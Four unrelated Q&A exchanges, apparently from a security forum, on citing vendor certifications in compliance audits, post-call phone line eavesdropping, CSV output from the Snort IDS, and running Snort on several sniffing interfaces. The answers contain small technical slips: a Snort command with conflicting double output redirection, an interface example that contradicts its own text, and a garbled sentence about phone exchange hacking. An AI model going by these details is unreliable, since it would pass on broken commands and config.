On https://gsuite.google.com/intl/en_us/security/, Google is ISO 27001 and PCI certified. Would listing these be enough to cover the validation, or would we personally be required to validate the controls?

You should be able to link to an existing certification from your own documentation. Referencing, and providing links to, their existing certification as a compensating control in your documentation should serve as validation. In effect you are chaining the documentation sources together which in many cases will make it easier for the 3rd Party Auditor/Assessor as they can verify the existing certification rather than wading through your reproduction/validation of already existing documentation. However, you should ascertain whether the certification itself meets the requirements and is valid to the best of your ability before adding it as a compensating control.


Danger of making calls after unknown random number called through I recently received a call from a number I didn't know to my mobile, answered it anyway. I didn't say anything, when it is a number I don't know I let the other person speak first.. after a few seconds line went down, tried to call back but phone just made an odd noise instead of ringing and it was similar to a fax but only for around a few seconds and then went dead.
I wondered if the phone call to my mobile could have stayed connected for after the phonecall ended in any way? I believe in this scenario the unknown caller ended the call, but my question is regarding either party ending the call and the maximum time a phoneline can stay open for ears dropping any next call?
I made a call around 45 minutes after about something unrelated and feel concerned if there could be any personal information leaked in that call because of if any line is still connected from the unknown caller.

It depends on the PSP's (Phone Service Provider's) end on how their systems are configured.  Basically the disconnect happens between the phone on the other end and your phone, only after the system on your PSP's end is somehow informed of a hangup on the other end, on your end, or is able to detect it, does it start disconnecting the line.
The amount of time from the start of line disconnection to the actual disconnection depends on how busy the system is to perform the disconnection, and where the hangup originated from.
When the other person hangs up and you still hold on, you probably will hear two noises (after the receiver's phone hangs up).  The first is the disconnection on the other ends PSP's and the next is on your ends PSP's.  This can more easily be heard on older copper lines.
As per the wierd sound you heard, it is not common that small phone exchange systems can be hacked [1].  The hacked number may be that of a fax machine.


Is there a way to change the format of the output from snort? I'm pretty new to snort and don't know too much about it. I am trying to put together a report of my snort files but, I only want the connections not the entire flows. For example, say I have a few lines like this:

timedate sid msg {TCP} ipaddr1:port1 -> ipaddr2:port2
timedate sid msg {TCP} ipaddr2:port2 -> ipaddr1:port1
...etc

I'd consider that one connection and only want to use either one in my report. I'd also like to know if there was a way to edit the actual output. For example, it would be nice in my case to be able to remove an attribute like the timestamp in my report. Is that possible?

Actually, I figured it out. I can output my alerts as a .csv file by adding a line to my snort.conf file:

output alert_csv: stdout proto,tcpflags,src,srcport,dst,dstport,msg

and then running snort like this:

snort -c /etc/snort/snort.conf -r my_PCAPFILE.pcap > snort-output.log > alerts.csv

As far as determining duplicates I'm sure I can run a little script inside of my .csv editor to filter them out. If anyone else has any better ideas please comment or add your own answer.


Can you have 2 promiscuous (sniffing) ports on a single machine? I'm wondering if you can actually have 2 (or more) promiscuous (sniffing) ports on a single machine, to monitor multiple network segments?  And can you monitor them all with snort?

Absolutely. Specifically "promiscuous" mode is just a flag on the network stack that passes all packets seen on that interface up to the application layer. Using snort as an example, this is often how one will properly monitor multi-homed systems. One NIC monitoring each uplink.

Using snort as your IDS, please be careful with how it handles interface specifications. The interface option will accept only a single argument, either a specific interface or any. The trouble with any is that it will cause the process to listen on all interfaces, including loopback. Additionally, snort is single threaded (expected to change with version 3.0). I would highly recommend running multiple instances of snortd, each listening on a single interface. How this is accomplished will depend on your distribution. On RedHat based systems edit the file /etc/sysconfig/snort and populate the INTERFACE variable. For example, if you use eth1 and eth2 for monitoring you would use

INTERFACE="eth2 eth3"

The init script will automagically launch a separate process for each interface listed.